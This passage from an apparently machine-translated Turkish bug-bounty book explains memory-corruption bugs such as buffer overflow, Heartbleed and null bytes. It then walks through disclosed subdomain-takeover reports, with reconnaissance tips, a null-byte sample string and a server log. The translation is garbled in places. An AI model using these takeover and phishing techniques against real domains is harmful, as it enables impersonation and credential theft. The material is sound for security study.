düzgün şekilde doğrulanmamakta ve kullanılmamakta. Sağlanan ilk örnekte, ImageMagick
Kötü niyetli olabilecek içerikten kaçan düzgün değildi. Bu, Ben ile birlikte
güvenlik açığı hakkında bilgi sahibi olması, özellikle olması muhtemel alanları bulmasına ve test etmesine izin verdi
savunmasız. Bu tür güvenlik açıklarını aramakla ilgili olarak, hızlı bir işlem yoktur.
Cevap. Yayımlanan CVE'lerin farkında olun ve siteler tarafından kullanılan yazılımlara göz atın
bu durum savunmasız olabileceği için güncel olmayabilir.

Angolia bulgusuna gelince, Michiel böylece kendi çerezlerini imzalayabildi.
izin verilmiş olan serileştirilmiş nesneler biçiminde kötü amaçlı kod göndermesine izin vermek
sonra Rails tarafından güvenildi.

15. Hafıza

Açıklama

Tampon Taşması

Arabellek Taşması, bir programın arabellek veya alanına veri yazan bir durumdur.
hafızada, aslında o hafıza için ayrılan alandan daha çok veri yazabilirsiniz.
Bir buzluk tepsisi açısından düşünün, 12 oluşturmak için alanınız olabilir ama sadece isteyin
10. Tepsiyi doldururken, 10 nokta doldurmak yerine çok fazla su eklersiniz,
11 doldurun. Buz küpü arabelleğinden henüz taşmışsınız.

Arabellek Taşması, en iyi düzensiz program davranışına ve ciddi bir güvenliğe yol açar
en kötü durumda güvenlik açığı. Bunun nedeni, Arabellek Taşması ile korunmasız bir programdır
daha sonra çağrılabilecek beklenmedik verilerle güvenli verilerin üzerine yazmaya başlar.
Bu olduğu takdirde, üzerine yazılmış kod, kodundan tamamen farklı bir şey olabilir.
program bir hataya neden olan bekler. Veya, kötü amaçlı bir bilgisayar korsanı taşması kullanabilir
Kötü amaçlı kod yazmak ve yürütmek için.

İşte Apple 1'den örnek bir resim :

Tampon Taşması Örneği

Burada, ilk örnek potansiyel bir tampon taşması göstermektedir. Strcpy uygulaması "Larger" dizesini alır ve tahsis edilen mevcut numarayı göz ardı ederek belleğe yazar boşluk (beyaz kutular) ve istenmeyen belleğe yazma (kırmızı kutular).

[1] https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html

Sayfa 134

Sınırları oku

Veriyi ayrılmış belleğin ötesine yazmaya ek olarak, güvenlik açığında başka bir güvenlik açığı bulunmaktadır. Bir hafıza sınırı dışında veri okuma. Bu, içindeki bir Arabellek Taşması türüdür bellek, arabellek izin verenin ötesinde okunuyor.

Belleğin dışındaki verileri okuyan ünlü ve son bir güvenlik açığı örneği - ary, Nisan 2014'te açıklanan OpenSSL Heartbleed Böceği'dir. Açıklama sırasında, İnternetin güvenli web sunucularının yaklaşık% 17'si (500k) güvenilir otorite tarafından onaylanmıştır. bağların saldırıya karşı savunmasız olduğuna inanılıyordu (https://en.wikipedia.org/wiki/Heartbleed[2]).

Heartbleed, sunucuya özel anahtarlar, oturum verileri, şifreler vb. Çalmak için kullanılabilir. Bir sunucuya "Kalp Atışı İsteği" mesajı göndererek gerçekleştirildi. daha sonra aynı mesajı tekrar istek sahibine gönderin. Mesaj içerebilir bir uzunluk parametresi. Saldırıya açık olanlar, mesaj için hafıza ayırdılar mesajın gerçek boyutuna bakılmaksızın uzunluk parametresini temel alır.

Sonuç olarak, Heartbeat mesajı, küçük bir mesaj göndererek kullanıldı. savunmasız alıcıların fazladan hafıza okumak için kullandıkları büyük uzunluk mesaj hafızasına ne tahsis edildi. İşte Wikipedia'dan bir resim:

[2] https://en.wikipedia.org/wiki/Heartbleed

Heartbleed örneği

Tampon Taşmalarının daha ayrıntılı bir analizi, Sınırların Dışında ve Heartbleed'de Okuma
Daha fazla bilgi edinmek istiyorsanız, bu kitabın kapsamı dışında
iyi kaynaklar:

Apple Belgeleri[3]

[3] https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html

Wikipedia Tampon Taşması Girişi[4]

Vikipedi NOP Slayt[5]

Web Uygulaması Güvenliği Projesini Açın[6]

Heartbleed.com [7]

Bellek Bozulması

Bellek bozulması, güvenlik açığının ortaya çıkmasına neden olacak şekilde güvenlik açığı ortaya çıkarmak için kullanılan bir tekniktir.
sıradışı veya beklenmedik davranışlarda bulunma. Etki bir tampon belleğe benzer
olmaması gerektiğinde belleğin bulunduğu yerde taşma.

Buna bir örnek, Boş Bayt Enjeksiyonu. Bu boş bir bayt veya boş bir dize olduğunda oluşur
Onaltılık% 100 veya 0x00, sağlanan ve istenmeyen davranışa yol açar.
alma programı. C / C ++ veya düşük seviyeli programlama dillerinde boş bir bayt temsil eder
dizgenin sonu veya dizgenin sonlandırılması. Bu, programın işlemeyi durdurmasını söyleyebilir
hemen dize ve boş bayttan sonra gelen baytlar yoksayılır.

Bu, kodun dize uzunluğuna dayanması durumunda etkilidir. Boş bir bayt okunursa
işlem durursa, 10 karakterden oluşan bir dize 5'e çevrilebilir.
örnek:

```
thisis% 00mystring
```

Bu dize 15 uzunluğunda olmalı, ancak dize null baytla sonlanırsa,
değer 6 olur. Bu, kendi dillerini yöneten düşük seviyeli dillerde sorunludur.
hafıza.

Şimdi, web uygulamaları ile ilgili olarak, bu web uygulamaları olduğunda geçerli olur.
C ile yazılmış kütüphaneler, harici API'ler vb. ile etkileşime girme
Saldırganlara, web tabanlı dosyaları okuma ve yazma dahil
daha geniş sunucu ortamında web uygulamasının izinleri. Özellikle ne zaman
Söz konusu programlama dili, PHP gibi, bir C programlama dilinde yazılmıştır.
kendisi.

[4] https://en.wikipedia.org/wiki/Buffer_overflow
[5] https://en.wikipedia.org/wiki/NOP_slide
[6] https://www.owasp.org/index.php/Buffer_Overflow
[7] http://heartbleed.com

OWASP Bağlantıları

Daha fazla bilgi için OWASP Buffer Overflows'a göz atın.[8] OWASP'a göz atı
Arabellek Taşması ve Taşm Kodunu Gözden Geçirme [9] OWASP Testine göz atın
Arabellek Taşmaları için[10] Taşması İçin OW Testine göz atın[11] Kontrol
üzerinden Yığın Taşması iç... WASP Testi[12] OW ta daha fazla bilgi edin
Null Kodunu Gömme [13]

Örnekler

1. PHP ftp_genlist ()

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : https://bugs.php.net/bug.php?id=69545[14]

Rapor Tarihi : 12 Mayıs 2015

Ödemeli Ödül : 500 Dolar

Tanım :

PHP programlama dili, C'nin dilindeki C programlama dilinde yazılmıştır.
kendi hafızasını yönetme keyfi. Yukarıda açıklandığı gibi, Arabellek Taşmalarına izin verilir
Kötü niyetli kullanıcılar erişilemez bellek ve uzaktan
kod yürüt

Bu durumda, ftp uzantısının ftp_genlist () işlevi taşma için izin verilir,
veya geçici bir dosyaya yazılmış olan 4,294 MB'dan daha fazla göndermek.

Bu da, tahsis edilen ara belleğe, yazılan verileri tutmak için küçük olması sonucunu verdi.
temp dosyasının içeriğini yüklerken bir yığın taşmasıyla sonuçlanan temp dosyası
tekrar hafızaya.

[8] https://www.owasp.org/index.php/Buffer_Overflows
[9] https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
[10] https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
[11] https://www.owasp.org/index.php/Testing_for_Heap_Overflow
[12] https://www.owasp.org/index.php/Testing_for_Stack_Overflow
[13] https://www.owasp.org/index.php/Embedding_Null_Code
[14] https://bugs.php.net/bug.php?id=69545

çıkarımlar

Arabellek Taşması eski, iyi bilinen bir güvenlik açığıdır, ancak ne zaman yaygındır
özellikle kendi hafızasını yöneten uygulamalar ile ilgilenmek
C ++. C'ye dayalı bir web uygulamasıyla karşı karşıya olduğunuzu öğrenirseniz,
dil (PHP yazılmıştır), arabellek taşmaları belirgin bir olasılıktır.
Ancak, yeni başlıyorsanız, muhtemelen bulmak için zaman ayırmaya değer
enjeksiyonla ilgili güvenlik açıklarını daha basit hale getirin ve arabellek taşmalarına geri dönün
sen daha deneyimlisin.

2. Python Hotshot Modülü

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : http://bugs.python.org/issue24481[15]

Rapor Tarihi : 20 Haziran 2015

Ödemeli Ödül : 500 Dolar

Tanım :

PHP gibi, Python programlama dili de C programlama dilinde yazılmıştır,
Daha önce de belirtildiği gibi, kendi hafızasını yönetir. Python Sıcak Nokta Modülü
mevcut profil modülünün yerine geçmiştir ve çoğunlukla C'ye
mevcut profil modülünden daha küçük performans etkisi. Ancak, Haziran 2015'te
Dize kopyalamaya çalışan kodla ilgili Arabellek Taşması güvenlik açığı keşfedildi
bir hafıza konumundan diğerine.

Temel olarak, savunmasız kod, hafızayı kopyalayan, memcpy metodunu çağırdı.
bir konum diğerine kopyalanacak bayt sayısını alarak. İşte çizgi:

```
memcpy (self-> tampon + self-> dizin, s, len);
```

Memcpy metodu 3 parametre alır, str, str2 ve n. str1 hedef, str
kopyalanacak kaynak ve n kopyalanacak bayt sayısıdır. Bu durumda, bunlar
self-> buffer + self-> index, s ve len değerlerine karşılık gelir.

Bu durumda, güvenlik açığı, **kendi>> arabelleğinin** her zaman sabit olduğu gerçeğinden kaynaklanıyordu.
gibi uzunluk **s** herhangi bir uzunlukta olabilir.

Sonuç olarak, kopyalama işlevini yürütürken (yukarıdaki Apple diyagramındaki gibi),
memcpy işlevi, kopyalanan alanın gerçek boyutunu göz ardı eder ve böylece
taşma.

[15] http://bugs.python.org/issue24481

Sayfa 139

çıkarımlar

Şimdi yanlış uygulanan iki fonksiyonun örneğini gördük.
Tampon **Taşmalarına** karşı duyarlı, **memcpy** ve **strcpy** . Bir site biliyorsak
veya uygulama C veya C ++ 'a dayanıyorsa, kaynak üzerinden arama yapmak mümkündür
yanlış bulmak için bu dil için kitaplıkları kodlayın (grep gibi bir şey kullanın)
uygulamalar.

Anahtar, sabit uzunluktaki bir değişkeni geçen uygulamaları bulmak olacaktır.

Her iki fonksiyona üçüncü parametre, olması gereken veri boyutuna karşılık gelir.
kopyalanan veriler aslında değişken bir uzunluktayken tahsis edilir.

Ancak, yukarıda belirtildiği gibi, yeni başlıyorsanız, daha değerli olabilir
geri dönerek bu tür güvenlik açıklarını aramayı bırakma vaktiniz
beyaz şapka kırma ile daha rahat olduklarında onları.

3. Libcurl Sınırları Dışında Oku

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : http://curl.haxx.se/docs/adv_20141105.html[16]

Rapor Tarihi : 5 Kasım 2014

Ödemeli Ödül : 1000 $

Tanım :

Libcurl ücretsiz bir istemci tarafı URL aktarım kütüphanesidir ve cURL komut satırı tarafından kullanılır.
veri aktarımı için bir araç. Libcurl curl_easy_duphandle () cihazında bir güvenlik açığı bulundu
olmayan hassas verileri göndermek için kullanılabilecek bir işlev
iletim için tasarlanmıştır.

Libcurl ile bir transfer yaparken, bir seçenek kullanmak mümkündür: CURLOPT_COPY-
POSTFIELDS, uzak sunucuya gönderilecek veriler için bir hafıza konumu belirlemek için kullanılır.
Başka bir deyişle, verileriniz için bir tutma tankı düşünün. Konumun (veya tankın) boyutu
ayrı bir seçenekle ayarlayın.

Şimdi, aşırı teknik olmadan, bellek alanı bir "tanıtıcı" ile ilişkilendirildi.
(tam olarak ne anlama geldiğini bilmek bu kitabın kapsamı dışındadır ve gerekli değildir)
Burada takip etmek için) ve uygulamalar bir kopyasını oluşturmak için tanıtıcıyı çoğaltabilir
veri. Güvenlik açığının bulunduğu yer burası - kopyanın uygulanması
ile **strdup** fonksiyon ve veri sıfır (sıfır) bayt sahip olduğu kabul edildi
bir dizenin sonunu belirtir.

[16] http://curl.haxx.se/docs/adv_20141105.html

Bu durumda, veri sıfır (boş) bayta sahip olmayabilir veya isteğe bağlı bir veriye sahip olmayabilir.
yer. Sonuç olarak, çoğaltılmış tutamaç çok küçük olabilir, çok büyük olabilir veya
programı. Ayrıca, çoğaltma işleminden sonra veri gönderme işlevi hesaba katılmaz
Zaten okunmuş ve kopyalanmış veriler için de erişildi ve veri gönderildi.
amaçlanan hafıza adresinin ötesinde.

çıkarımlar

Bu çok karmaşık bir güvenlik açığı örneğidir. Varlık sınırında iken
Bu kitabın amacı için çok teknik, ben göstermek için dahil
öğrendiklerimizle benzerlikler. Bunu yıktığımızda, bu
güvenlik açığı, ilişkili C kodu uygulamasındaki bir hatayla da ilişkilendirildi.
Hafıza yönetimi ile, özellikle hafızanın kopyalanması. Yine gidiyorsan
C seviyesi programlamada kazmaya başlamak için, verilerin bulunduğu alanları aramaya başlayın.
bir hafıza konumundan diğerine kopyalanmak.

4. PHP Bellek Bozulması

Zorluk : Yüksek

URL : Yok

Rapor Bağlantısı : https://bugs.php.net/bug.php?id=69453[17]

Rapor Tarihi : 14 Nisan 2015

Ödemeli Ödül : 500 Dolar

Tanım :

Phar_parse_tarfile yöntemi boş bir bayt ile başlayan dosya adlarını hesaba katmazdı,
sıfır değeri ile başlayan bir bayt, yani onaltılık 0x00.

Yöntemin yürütülmesi sırasında, dosya adı kullanıldığında,
dizi (yani, gerçekte var olmayan ve dizinin dışında olan verilere erişmeye çalışmak
ayrılan hafıza) meydana gelecektir.

Bu önemli bir güvenlik açığıdır, çünkü belleğe hacker erişimi sağlar.
sınırları dışında olmalı.

[17] https://bugs.php.net/bug.php?id=69453

çıkarımlar

Tıpkı Arabellek Taşmaları gibi, Bellek Bozulması eski ama yine de yaygın
kendi hafızasını yöneten uygulamalarla çalışırken güvenlik açığı,
özellikle C ve C ++. Bir web uygulaması ile uğraştığınızı öğrenirseniz
(PHP'nin yazıldığı) C diline göre yollar aramak
bu hafıza manipüle edilebilir. Ancak, yine, yeni başlıyorsanız, bu
Enjeksiyonla ilgili basit güvenlik açıklarını bulmak için zaman ayırmaya değer olabilir
ve daha fazla deneyiminiz olduğunda Hafıza Yolsuzluğuna geri dönün.

özet

Hafıza ile ilgili güvenlik açıkları büyük manşetlere neden olsa da
üzerinde çalışın ve kayda değer miktarda beceri gerektirir. Bu tür güvenlik açıkları
Düşük seviyeli programlamada bir programlama geçmişiniz yoksa, yalnız başına daha iyi
Diller.

Modern programlama dilleri kendi dillerinden dolayı onlara daha az duyarlı olurlar.
bellek ve çöp toplama işlemlerini, C programlama ile yazılmış uygulamaları
diller hala çok hassastır. Ek olarak, modernle çalışırken
C programlama dillerinde yazılmış dillerin kendileri, işleri biraz zorlaştırabilir;

PHP ftp_genlist () ve **Python Hotshot Module** örnekleriyle gördük .

16. Alt Alan Adı Alma

Açıklama

Alt alan adı devralma gerçekten kulağa kötü geliyor, kötü niyetli bir kişinin olduğu bir durum
meşru bir site adına bir alt alan talep edebilir. Özetle, bu tür
güvenlik açığı, bir alt etki alanı için DNS girişi oluşturan bir siteyi, örneğin Heroku'yu içerir.
(barındırma şirketi) ve asla bu alt etki alanını talep etmiyor.

1. example.com Heroku'ya kaydoldu

Example.com, alt domain.example.com 'u uni- işaretiyle gösteren bir DNS girişi oluşturur.
corn457.heroku.com

Ornek.com.tr, asla unicorn457.heroku.com olduğunu iddia etmez.

4. Kötü niyetli bir kişi unicorn457.heroku.com Iddia ediyor ve example.com sitesini kopyalıyor.
5. domain.example.com alt trafiğinin tüm trafiği, kötü amaçlı bir web sitesine yönlendirilir.
example.com'a benziyor

Bu nedenle, bunun gerçekleşmesi için, bir harici için talep edilmemiş DNS girişleri olması gerekir.
Heroku, Github, Amazon S3, Shopify gibi servisler. Bunları bulmak için harika bir yol kullanıyor.
Araçlar bölümünde tartışılan ve ortak bir alt liste üzerinde yinelenen KnockPy
varlığını doğrulamak için etki alanları.

Örnekler

1. Ubiquiti Alt Alan Adı Devralma

Zorluk : Düşük

URL : http://assets.goubiquiti.com

Rapor Bağlantısı : https://hackerone.com/reports/109699[1]

Rapor Tarihi : 10 Ocak 2016

Ödemeli Ödül : 500 Dolar

Tanım :

[1] https://hackerone.com/reports/109699

Alt etki alanı devralmalarının tanımının ima ettiği gibi, http://assets.goubiquiti.com
dosya depolama için Amazon S3'e işaret eden bir DNS girişi vardı, ancak gerçekte Amazon S3 kovası yok
mevcut. İşte HackerOne'un ekran görüntüsü:

Goubiquiti Varlıkları DNS

Sonuç olarak, kötü niyetli bir kişi uwn-images.s3-website-us-west-1.amazonaws.com adresini talep edebilir.
ve orada bir siteye ev sahipliği yapıyor. Buradaki güvenlik açığı Ubiquiti gibi görünmesini sağlayabildiklerini varsayarsak
kullanıcıları kişisel bilgilerinizi sunma ve hesapları devralma konusunda kandırıyor.

çıkarımlar

DNS girişleri, güvenlik açıklarını ortaya çıkarmak için yeni ve benzersiz bir fırsat sunar. kullanım
Alt alan adlarının varlığını doğrulamak için KnockPy ve ardından onayla
üçüncü taraflara özel dikkat gösteren geçerli kaynaklara işaret ediyorlar
AWS, Github, Zendesk vb. gibi servis sağlayıcılar
özelleştirilmiş URL'leri kaydedin.

2. Scan.me Zendesk'e İşaret Edin

Zorluk : Düşük

URL : destek.scan.me

Rapor Bağlantısı : https://hackerone.com/reports/114134[2]

Rapor Tarihi : 2 Şubat 2016

Ödemeli Ödül : 1000 $

Tanım :

Tıpkı Ubiquiti örneğinde olduğu gibi, burada, scan.me - bir Snapchat kazanımı - CNAME girişi yaptı
support.scan.me ile scan.zendesk.com adresine gidin. Bu durumda, hacker harry_mg
support.scan.me'nin yönlendireceği scan.zendesk.com'u talep edebildi.

Ve bu kadar. 1.000 ABD doları ödeme

çıkarımlar

ÇOK DİKKAT! Bu güvenlik açığı Şubat 2016'da bulundu ve karmaşık değildi
hiç. Başarılı böcek avı keskin gözlem gerektirir.

[2] https://hackerone.com/reports/114134

Sayfa 144

3. Windsorify Sub Sub Domain Alımı

Zorluk : Düşük

URL : windsor.shopify.com

Rapor Bağlantısı : https://hackerone.com/reports/150374[3]

Rapor Tarihi : 10 Temmuz 2016

Ödemeli Ödül : 500 Dolar

Tanım :

Temmuz 2016'da Shopify, DNS yapılandırmasında
alt etki alanı windsor.shopify.com başka bir etki alanına yönlendirildi, **aislingofwindsor.com**
artık sahip olmadıkları. Raporu okumak ve muhabirle sohbet etmek, @zseano,
Bunu ilginç ve kayda değer kılan birkaç şey var.

İlk olarak, @zseano veya Sean, tarama yaptığı sırada güvenlik açığına girdi.
Çalıştığı başka bir müşteri. Gözünü yakalayan şey denizaltıydı.
etki alanları * .shopify.com idi. Platforma aşina iseniz, kayıtlı mağazalar
alt etki alanı deseni, * .myshopify.com. Bu ek alanlar için bir kırmızı bayrak olmalıdır
güvenlik açıklarını test etmek için. Keskin gözlem için Sean Kudos. Ancak, o notta,
Shopify'ın program kapsamı, programlarını Shopify dükkanları, yöneticileri ve
API, Shopify uygulamasında kullanılan yazılım ve belirli alt alanlar. Şu hususları belirtmektedir
Eğer etki alanı açıkça listelenmemişse, bu kadar tartışmasız bir kapsamda değil.
Sean'ı ödüllendirmek için.

İkincisi, Sean kullanılan araç, **crt.sh** harika. Bir Etki Alanı Adı Alacak, Organi-
zation Name, SSL Sertifika Parmak İzi (gelişmiş aramayı kullandıysanız daha fazlası) ve
arama sorgusunun sertifikalarıyla ilişkili alt alanlar döndür. Bunu izleyerek yapar
Sertifika Şeffaflığı günlükleri. Bu konu, bu kitabın kapsamı dışındayken,
Özetle, bu günlükler sertifikaların geçerli olduğunu doğrular. Bunu yaparken, aynı zamanda bir
tümü potansiyel olarak gizli olan dahili sunucu ve sistemlerin sayısı çok fazla
Hacklediğiniz program tüm alt alan adlarını içeriyorsa araştırılmalıdır
yok!).

Üçüncüsü, listeyi bulduktan sonra, Sean siteleri tek tek test etmeye başladı. Bu olabilir bir adım
otomatik olun ama unutmayın, başka bir program üzerinde çalıştığını ve takip edildiğini söyledi.
Böylece, windsor.shopify.com testinden sonra, kullanım süresinin dolduğunu tespit etti.
etki alanı hata sayfası. Doğal olarak etki alanını satın aldı, şimdi **aislingofwindsor.com**
Shopify kendi sitesine işaret ediyordu. Bu onun bir kurbanı kötüye kullanmasına izin verebilirdi.
bir Shopify etki alanı gibi göründüğü için Shopify ile olurdu.

Shopify'a açık olduğunu rapor ederek kesmeyi bitirdi.

[3] https://hackerone.com/reports/150374

çıkarımlar

Açıklandığı gibi, burada birden fazla paket servisi var. İlk önce, **crt.sh** ile alt alanları keşfet. Bir içinde ek hedeflerin bir altın madeni gibi görünüyor programı. İkincisi, alt etki alanı devralma yalnızca dış hizmetlerle sınırlı değildir Gibi S3, Heroku, vb. Burada, Sean aslında kaydedilen daha fazla adım attı süresi dolan etki alanı Shopify işaret ediyordu. Kötü niyetli olsaydı, alan adındaki Shopify oturum açma sayfasını kopyaladı ve kullanıcı toplamaya başladı kimlik bilgileri.

4. Snapchat Hızlı Alma

Zorluk : Orta

URL : http://fastly.sc-cdn.net/takeover.html

Rapor Bağlantısı : https://hackerone.com/reports/154425[4]

Rapor Tarihi : 27 Temmuz 2016

Ödemeli Ödül : 3,000 Dolar

Tanım :

Hızla bir içerik dağıtım ağı veya CDN, içeriği hızlı bir şekilde kullanıcılara sunmak için kullanılır. Bir CDN fikri, içeriğin kopyalarını dünyadaki sunucularda depolamaktır; bu içeriği talep eden kullanıcılara sunmak için daha kısa süre ve mesafe. Bir diğeri örnek Amazon'un CloudFront'u olacaktır.

27 Temmuz 2016'da Ebrietas, Snapchat'a DNS'leri yanlış yapılandırdıklarını bildirdi. URL'de sonuçlanan http://fastly.sc-cdn.net , CNAME kaydına sahip bir Fastly'i işaret etti. sahip olmadığı alt etki alanı. Bunu ilginç yapan, hızlı bir şekilde size izin vermesidir. trafiğinizi şifreleyecekseniz, özel alt etki alanlarını hizmetlerine kaydetmek için TLS ile paylaşın joker sertifikasını kullanın. Ona göre, ziyaret URL, **"Hızlı hata: bilinmeyen etki alanı: XXXXX. Lütfen Bu alan bir hizmete eklendiğini kontrol edin."** .

Ebrietas, devralma işleminde kullanılan Hızlı URL'yi içermese de, Hızlıca belgeler (https://docs.fastly.com/guides/securing-communications/setting-up-free-tls), EXAMPLE.global.ssl.fastly.net desenini takip etmiş gibi görünüyor. merkezli Alt etki alanına "hızlı bir sınama örneği" olduğu için başvurulduğunda, daha da olasıdır Snapchat bunu bir şeyi test etmek için Fastly joker sertifikası kullanarak ayarladı.

Ek olarak, bu raporu dikkat çekici ve değerli kılan iki ek husus vardır. açıklayan:

[4] https://hackerone.com/reports/154425

Sayfa 146

1. fastly.sc-cdn.net , Fastchat CDN'sine işaret eden Snapchat'ın alt alanıydı . o
   domain-, sc-cdn.net, çok açık değildir ve eğer gerçekten herhangi biri tarafından sahiplenilebilir
   Sadece bakarak bakarak tahmin etmek zorundaydın. Mülkiyetini doğrulamak için Ebrietas baktı
   SSL sertifikasını censys.io ile kapatın. Bu, iyi bilgisayar korsanlarını ayırt eden şeydir.
   Büyük bilgisayar korsanları, güvenlik açıklarınızı gidermek için bu ekstra adımı yerine getirerek
   bir şans vermekten daha fazla.
2. Devralmanın etkileri hemen belli değildi. Onun ilk
   Raporda, Ebrietas etki alanının herhangi bir yerde kullanıldığı gibi görünmediğini belirtiyor
   Snapchat. Bununla birlikte, sunucusunu çalışır durumda ve çalışır durumda tutuyordu.
   sadece Snapchat çağrılarını bulma zamanı, alt alanın gerçekten kullanımda olduğunu onaylar.

```
root @ localhost: ~ # cat /var/log/apache2/access.log | grep -v sunucu durumu | gre \
p snapchat -i

23.235.39.33 - - [02 / Aug / 2016: 18: 28: 25 +0000] "GET / bq / story_blob? Story_id = fRaYu \
tXlQBosonUmKavo1uA & t = 2 & mt = 0 HTTP / 1.1 ...
23.235.39.43 - - [02 / Aug / 2016: 18: 28: 25 +0000] "GET / bq / story_blob? Story_id = f3gHI \
7yhW-Q7TeACCzc2nKQ & t = 2 & mt = 0 HTTP / 1.1 ...
23.235.46.45 - - [03 / Ağu / 2016: 02: 40: 48 +0000] "GET / bq / story_blob? Story_id = fKGG6 \
u9zG4juOFT7-k0PNWw & t = 2 mt = 1 ve kodlama ...
23.235.46.23 - - [03 / Ağu / 2016: 02: 40: 49 +0000] "GET / bq / story_blob? Story_id = fco3g \
XZkbBCyGc_Ym8UhK2g & t = 2 mt = 1 ve kodlama ...
43.249.75.20 - - [03 / Ağu / 2016: 12: 39: 03 +0000] "GET / keşfet / dsnaps? Edition_id = 4 \
527366714425344 & dsnap_id = 56515658813 ...
43.249.75.24 - - [03 / Aug / 2016: 12: 39: 03 +0000] "GET / bq / story_blob? Story_id = ftzqL \
Qky4KJ_B6Jebus2Paw & t = 2 mt = 1 ve kodlama ...
43.249.75.22 - - [03 / Aug / 2016: 12: 39: 03 +0000] "GET / bq / story_blob? Story_id = fEXbJ \
2SDn3Os8m4aeXs-7Cg & t = 2 & mt = 0 HTTP / 1.1 ...
23.235.46.21 - - [03 / Ağu / 2016: 14: 46: 18 +0000] "GET / bq / story_blob? Story_id = fu8jK \
J_5yF71_WEDi8eiMuQ & t = 1 ve mt = 1 ve kodlama ...
23.235.46.28 - - [03 / Ağu / 2016: 14: 46: 19 +0000] "GET / bq / story_blob? Story_id = flWVB \
XvBXToy-vhsBdze11g & t = 1 ve mt = 1 ve kodlama ...
23.235.44.35 - - [04 / Ağu / 2016: 05: 57: 37 +0000] "GET / bq / story_blob? Story_id = fuZO- \
2ouGdvbCSggKAWGTaw & t = 0 ve mt = 1 ve kodlama ...
23.235.44.46 - - [04 / Ağu / 2016: 05: 57: 37 +0000] "GET / bq / story_blob? Story_id = fa3DT \
t_mL0MhekUS9ZXg49A & t = 0 ve mt = 1 ve kodlama ...
185.31.18.21 - - [04 / Ağu / 2016: 19: 50: 01 +0000] "GET / bq / story_blob? Story_id = fDL27 \
0uTcFhyzlRENPVPXnQ & t = 0 ve mt = 1 ve kodlama ...
```

Raporun çözümünde Snapchat, taleplerin erişimi içermediğini doğruladı
belirteçler veya çerezler, kullanıcılara kötü amaçlı içerik sunmuş olabilir. Anlaşılan,
Snapchat'ten Andrew Hill'e göre:

Sayfa 147

Giriş yapmayan eski bir istemciyi kullanan çok küçük bir kullanıcı grubu

CDN deneme süresinin ardından statik, sonuçsuz
belirlenmiş içerik (hassas medya yok). Kısa bir süre sonra, müşteriler
konfigürasyonlarını yenilediler ve doğru uç noktaya ulaştılar. İçinde
Teorik olarak, alternatif medya bu çok küçük kullanıcı grubuna sunulabilirdi.
Bu istemci sürümünde kısa bir süre için.

çıkarımlar

Yine, burada birkaç yolumuz var. İlk olarak, alt etki alanı ararken
devralma, ortaya çıktığı gibi ***.global.ssl.fastly.net** URL'leri için uyanık **olun**
Hızla başka bir web servisidir, kullanıcıların isimleri global olarak kaydetmelerine izin verir.
ad alanı. Alanlar savunmasız olduğunda, Hızlı bir şekilde mesaj boyunca bir mesaj görüntüler.
“Hızlı etki alanı yok” satırları.

İkincisi, güvenlik açıklarınızı onaylamak için her zaman ekstra adıma geçin. Bu durumda,
Ebrietas tarafından sahip olunan onaylamak için SSL sertifika bilgileri baktı
Raporlamadan önce Snapchat. Son olarak, devralmanın etkileri her zaman değildir
Hemen görünür. Bu durumda, Ebrietas bu servisin kullanıldığını düşünmedi
trafiğin geldiğini görene kadar. Devralma güvenlik açığı bulursanız,
Servis, herhangi bir isteğin gelip gelmediğini görmek için bir süre bekleyebilir. Bu olabilir
Güvenlik açığını açıklamak için konunun ciddiyetini belirlemenize yardımcı
rapor ettiğiniz program etkili olanın bileşenlerinden biridir.
Güvenlik Açığı Raporları bölümünde tartışıldığı gibi rapor verin.

5. api.legalrobot.com

Zorluk : Orta

URL : api.legalrobot.com

Rapor Bağlantısı : https://hackerone.com/reports/148770[5]

Rapor Tarihi : 1 Temmuz 2016

Ödemeli Ödül : 100 $

Tanım :

1 Temmuz 2016 tarihinde, Frans Rosen [6] , Legal Robot'a bunları bildiren bir rapor sundu.
api.legalrobot.com için Modulus.io'ya işaret eden bir DNS CNAME girişi yaptı, ancak
orada ad alanı olduğunu iddia etmemiştim.

[5] https://hackerone.com/reports/148770
[6] https://www.twitter.com/fransrosen

Modülüs Uygulaması Bulunamadı

Şimdi, muhtemelen Frans'ın daha sonra Modulus'u ziyaret ettiğini ve altını talep etmeye çalıştığını tahmin edebilirsiniz. bir devralma örneği olduğundan ve etki alanı modülü olduğundan, "Herhangi biri özel alanlar belirtilebilir ". Ancak bu örnek bundan daha fazlası.

Bu örneğin kayda değer olması ve buraya dahil edilmesinin nedeni Frans'ın bunu denemesi ve alt etki alanı zaten talep edildi. Ama api.legalrobot.com'u iddia edemediğinde, uzaklaşmaktansa, vahşi kart alt alan adını almaya çalıştı, *** .legalrobot.com** hangi gerçekten çalıştı.

Modulus Wild Card Sitesi Sahiplenildi

Bunu yaptıktan sonra, kendi içeriğini orada barındırmak için ekstra (küçük de olsa) basamağa geçti:

Frans Rosen Merhaba Dünya

çıkarımlar

Bu örneği iki nedenden dolayı dahil ettim; Birincisi, Frans denizaltısını talep etmeye çalıştığında Modulus üzerinde etki alanı, tam eşleşme alındı. Ancak, pes etmek yerine, Joker kart alanını talep etmeye çalıştı. Diğer bilgisayar korsanları için konuşamıyor olsam da Eğer onun yerinde olsaydım, dener miydim bilmiyorum. Öyleyse ileriye gidiyor, eğer Kendinizi aynı konumda bulursanız, üçüncü taraf hizmetlerinin olup olmadığını kontrol edin. joker kart talebinde bulunur.

İkincisi, Frans aslında alt alanı talep etti. Bu açık olsa da bazı, savunmasız olduğunuzu kanıtlamanın önemini tekrarlamak istiyorum raporlanması. Bu durumda, Frans, hak talebinde bulunabilmesini sağlamak için ek bir adım attı. alt etki alanı ve kendi içeriğini barındırma. Büyük hacker'ları farklılaştıran şey bu iyi hackerlardan, raporlamadığınızdan emin olmak için bu fazla çabayı sarf ediyorum yanlış pozitifler.

6. Uber SendGrid Posta Alımı

Zorluk : Orta

URL : @ em.uber.com

Rapor Bağlantısı : https://hackerone.com/reports/156536[7]

Rapor Tarihi : 4 Ağustos 2016

Ödemeli Ödül : 10.000 $

Tanım :

SendGrid, şirketlerin e-posta göndermesine yardımcı olmak için geliştirilen bulut tabanlı bir e-posta hizmetidir.
